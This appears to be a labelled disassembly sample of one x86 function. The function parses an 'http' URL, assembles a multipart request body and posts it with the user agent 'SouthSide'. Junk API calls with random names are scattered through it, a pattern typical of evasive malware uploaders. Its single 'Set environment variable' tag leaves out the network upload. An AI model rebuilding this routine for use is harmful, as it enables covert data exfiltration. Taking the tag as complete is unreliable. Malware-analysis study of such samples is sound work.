Function at 0x40c0cc
Capabilities:
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x41504c]
push ebx
push esi
push edi
push 0xc350
push 0x40
mov dword [ebp - 0x18], edx
mov esi, ecx
call eax
mov edx, dword [0x41504c]
mov ebx, eax
push 0x18
push 0x40
mov dword [ebp - 0x14], ebx
call edx
mov ecx, dword [0x41504c]
push 0x208
push 0x40
mov dword [ebp - 4], eax
call ecx
cmp word [esi], 0x68
mov edi, eax
mov dword [ebp - 8], edi
jne 0x40c358
push 0x74
pop eax
cmp word [esi + 2], ax
jne 0x40c358
cmp word [esi + 4], ax
jne 0x40c358
cmp word [esi + 6], 0x70
jne 0x40c358
movzx eax, word [esi + 8]
push dword [0x4154e0]
mov dword [ebp - 0x30], eax
mov eax, dword [0x415190]
push esi
call eax
and dword [ebp - 0x1c], 0
add eax, 6
mov dword [ebp - 0x10], eax
xor cl, cl
push 0x2f
movzx eax, word [eax]
mov edx, eax
mov dword [ebp - 0xc], edx
pop edx
cmp ax, dx
je 0x40c1b2
mov ebx, dword [ebp - 4]
xor esi, esi
mov edx, dword [ebp - 0x1c]
movzx eax, ax
movzx eax, ax
cmp eax, 0x3a
jne 0x40c184
mov cl, 1
jmp 0x40c194
test cl, cl
jne 0x40c18e
mov word [esi + edi], ax
jmp 0x40c194
mov word [ebx], ax
add ebx, 2
mov eax, dword [ebp - 0x10]
inc edx
push 0x2f
lea esi, [edx + edx]
movzx eax, word [esi + eax]
mov edi, eax
mov dword [ebp - 0x1c], edi
pop edi
cmp ax, di
mov edi, dword [ebp - 8]
jne 0x40c178
mov ebx, dword [ebp - 0x14]
mov edx, dword [ebp - 4]
mov edi, dword [0x415090]
push edx
call edi
push dword [ebp - 8]
mov esi, eax
call edi
add esi, eax
mov eax, dword [ebp - 0x10]
lea eax, [eax + esi*2]
mov esi, dword [ebp - 4]
add eax, 2
mov dword [ebp - 0x34], eax
mov eax, dword [0x415078]
push esi
call eax
push esi
mov dword [ebp - 0x2c], eax
call dword [0x4150cc]
mov edi, dword [ebp + 8]
mov ecx, edi
mov edx, dword [0x41504c]
shl ecx, 0x15
push ecx
push 0x40
call edx
mov dword [ebp - 4], eax
test edi, edi
jle 0x40c2c7
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 0x10], edi
mov edi, eax
mov ecx, dword [ebp - 0x18]
call fcn.0040f572
mov edx, dword [0x4154f0]
mov ecx, edi
mov esi, eax
call fcn.0040f6d4
mov edx, esi
mov ecx, eax
call fcn.0040f6d4
mov edx, dword [0x41541c]
mov ecx, eax
call fcn.0040f6d4
mov edx, dword [0x415408]
mov ecx, eax
call fcn.0040f6d4
mov edx, dword [ebx]
mov ecx, eax
call fcn.0040f6d4
mov edx, 0x4140c4
mov ecx, eax
call fcn.0040f6d4
mov edx, dword [0x41541c]
mov ecx, eax
call fcn.0040f6d4
mov edx, dword [0x41542c]
mov ecx, eax
call fcn.0040f6d4
mov edx, dword [0x41541c]
mov ecx, eax
call fcn.0040f6d4
mov edx, dword [0x41541c]
mov ecx, eax
call fcn.0040f6d4
mov edx, dword [ebx + 4]
mov ecx, eax
call fcn.0040f6d4
mov edx, dword [0x41541c]
mov ecx, eax
call fcn.0040f6d4
push esi
mov edi, eax
call dword [0x4150cc]
sub dword [ebp - 0x10], 1
lea ebx, [ebx + 0xc]
jne 0x40c20e
mov ebx, dword [ebp - 0x14]
mov dword [ebp - 4], edi
mov edi, dword [ebp + 8]
mov eax, dword [0x4150e8]
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push 0xffffffffffffffff
push dword [ebp - 4]
push ecx
push 0xfde9
call eax
mov edx, dword [0x41504c]
mov ecx, edi
shl ecx, 0x14
push ecx
push 0x40
mov dword [ebp - 0x10], eax
call edx
mov ecx, dword [ebp + 0x10]
mov esi, eax
mov edx, dword [0x41504c]
mov dword [ebp - 0x1c], esi
lea ecx, [edi + ecx]
shl ecx, 0x14
push ecx
push 0x40
call edx
mov dword [ebp - 0xc], eax
mov edi, eax
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x40c3fc
mov ecx, dword [0x4150e8]
xor edx, edx
push edx
push edx
push eax
push esi
push 0xffffffffffffffff
push dword [ebp - 4]
push edx
push 0xfde9
call ecx
test eax, eax
jne 0x40c35f
push dword [ebp - 4]
call dword [0x4150cc]
push ebx
call dword [0x4150cc]
push esi
call dword [0x4150cc]
push dword [ebp - 8]
call dword [0x4150cc]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
xor eax, eax
push eax
push 0x12c8
push eax
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov esi, eax
lea eax, [ebp - 0x20]
push eax
push 0x20019
push 0
push str.regtrspjbvu
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.7lglc5f7
push str.pujgf4dc
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.WTMR_dh2ekgvk
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.MTXlrxrayp0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, dword [ebp - 0x1c]
mov eax, dword [0x41519c]
push esi
call eax
test eax, eax
jle 0x40c3fc
push dword [ebp - 0x10]
mov eax, dword [0x415008]
push esi
push dword [ebp - 0xc]
call eax
test eax, eax
je 0x40c3fc
mov edi, dword [ebp - 0x10]
dec edi
add edi, dword [ebp - 0xc]
push dword [ebp - 4]
call dword [0x4150cc]
push esi
call dword [0x4150cc]
cmp dword [ebp + 0x10], 0
jle 0x40c552
mov esi, dword [ebp + 0x14]
mov ebx, dword [ebp + 0x10]
add esi, 4
mov eax, dword [0x415154]
push 0
push dword [esi]
call eax
mov edx, dword [0x41504c]
mov dword [ebp - 4], eax
lea ecx, [eax + 0x400]
push ecx
push 0x40
call edx
mov edx, dword [0x4154d0]
mov ecx, eax
call fcn.0040f86a
mov edx, dword [0x41554c]
mov ecx, eax
call fcn.0040f86a
mov edx, dword [ebp - 0x18]
mov ecx, eax
call fcn.0040f86a
mov edx, dword [0x4154d0]
mov ecx, eax
call fcn.0040f86a
mov edx, dword [0x415554]
mov ecx, eax
call fcn.0040f86a
mov edx, dword [esi - 4]
mov ecx, eax
call fcn.0040f86a
mov edx, 0x414108
mov ecx, eax
call fcn.0040f86a
mov edx, dword [0x4154d0]
mov ecx, eax
call fcn.0040f86a
mov edx, dword [0x4154e4]
mov ecx, eax
call fcn.0040f86a
mov edx, dword [0x4154d0]
mov ecx, eax
call fcn.0040f86a
mov edx, dword [0x4154d0]
mov ecx, eax
call fcn.0040f86a
mov ecx, dword [0x41519c]
push eax
mov dword [ebp - 0x10], eax
call ecx
mov edx, dword [0x415008]
mov dword [ebp - 0x1c], eax
lea ecx, [eax + 1]
push ecx
push dword [ebp - 0x10]
push edi
call edx
test eax, eax
je 0x40c513
add edi, dword [ebp - 0x1c]
cmp dword [esi], 0
je 0x40c513
mov eax, dword [0x41508c]
lea ecx, [ebp - 0x20]
push 0
push ecx
push dword [ebp - 4]
push edi
push dword [esi]
call eax
test eax, eax
je 0x40c50b
add edi, dword [ebp - 0x20]
push dword [esi]
call dword [0x4150c0]
cmp dword [esi - 4], 0
je 0x40c522
push dword [esi - 4]
call dword [0x4150cc]
cmp dword [esi + 4], 0
je 0x40c53a
push dword [esi + 4]
call dword [0x4150f8]
push dword [esi + 4]
call dword [0x4150cc]
push dword [ebp - 0x10]
call dword [0x4150cc]
add esi, 0x10
sub ebx, 1
jne 0x40c41f
mov ebx, dword [ebp - 0x14]
mov eax, dword [0x41504c]
push 0x100
push 0x40
call eax
mov edx, dword [0x4154d0]
mov ecx, eax
call fcn.0040f86a
mov edx, dword [0x41554c]
mov ecx, eax
call fcn.0040f86a
mov edx, dword [ebp - 0x18]
mov ecx, eax
call fcn.0040f86a
mov edx, dword [0x41554c]
mov ecx, eax
call fcn.0040f86a
mov ecx, dword [0x41519c]
mov esi, dword [0x415008]
push eax
mov dword [ebp - 0x18], eax
call ecx
inc eax
push eax
push dword [ebp - 0x18]
push edi
call esi
test eax, eax
je 0x40c5bb
push dword [ebp - 0x18]
mov eax, dword [0x41519c]
call eax
add edi, eax
push dword [ebp - 0x18]
call dword [0x4150cc]
mov eax, dword [0x41512c]
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push str.SouthSide
mov dword [ebp - 0x24], 0x7530
mov dword [ebp - 0x28], 0x7a120
call eax
mov esi, eax
lea eax, [ebp - 0x24]
push 4
push eax
push 6
push esi
mov dword [ebp - 0x20], esi
call dword [0x415178]
push 4
lea eax, [ebp - 0x28]
push eax
push 5
push esi
call dword [0x415178]
test esi, esi
je 0x40c6cd
mov eax, dword [0x415184]
xor ecx, ecx
push 1
push ecx
push 3
push ecx
push ecx
push dword [ebp - 0x2c]
push dword [ebp - 8]
push esi
call eax
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x40c6c6
cmp word [ebp - 0x30], 0x73
mov ecx, 0x400000
mov edx, dword [0x4150bc]
push 1
mov dword [ebp - 0x2c], 0xc00000
cmove ecx, dword [ebp - 0x2c]
push ecx
push dword [ebp + 0x1c]
push 0
push 0
push dword [ebp - 0x34]
push dword [0x4152ac]
push eax
call edx
mov dword [ebp - 0x34], eax
test eax, eax
je 0x40c6bd
mov eax, dword [ebp - 0xc]
sub edi, eax
mov ecx, dword [0x415090]
mov esi, dword [0x415018]
push edi
push eax
push dword [ebp + 0x18]
call ecx
mov edi, dword [ebp - 0x34]
push eax
push dword [ebp + 0x18]
push edi
call esi
test eax, eax
je 0x40c6b3
mov esi, 0xc350
jmp 0x40c6a1
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x40c6b3
mov byte [eax + ebx], 0
mov eax, dword [0x415100]
lea ecx, [ebp - 0x18]
push ecx
push esi
push ebx
push edi
call eax
test eax, eax
jne 0x40c696
push edi
call dword [0x41506c]
mov esi, dword [ebp - 0x20]
push dword [ebp - 0x1c]
call dword [0x41506c]
push esi
call dword [0x41506c]
push str.ev_h1kn3oyx
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [0x41519c]
mov esi, dword [0x4150b0]
push 0
push 0
push ebx
call eax
inc eax
push eax
push ebx
push 0
push 0xfde9
call esi
mov ecx, dword [0x41504c]
mov esi, eax
mov dword [ebp - 0x34], esi
lea eax, [esi + esi]
push eax
push 0x40
mov dword [ebp - 0x30], eax
call ecx
mov edi, eax
test esi, esi
je 0x40c751
push dword [ebp - 0x34]
mov ecx, dword [0x41519c]
mov esi, dword [0x4150b0]
push edi
push ebx
call ecx
inc eax
push eax
push ebx
push 0
push 0xfde9
call esi
mov eax, dword [ebp - 0x30]
xor ecx, ecx
mov word [eax + edi - 2], cx
test edi, edi
je 0x40c75c
push edi
call dword [0x4150cc]
push dword [ebp - 8]
call dword [0x4150cc]
push ebx
call dword [0x4150cc]
push dword [ebp - 0xc]
call dword [0x4150cc]
xor eax, eax
inc eax
jmp 0x40c35a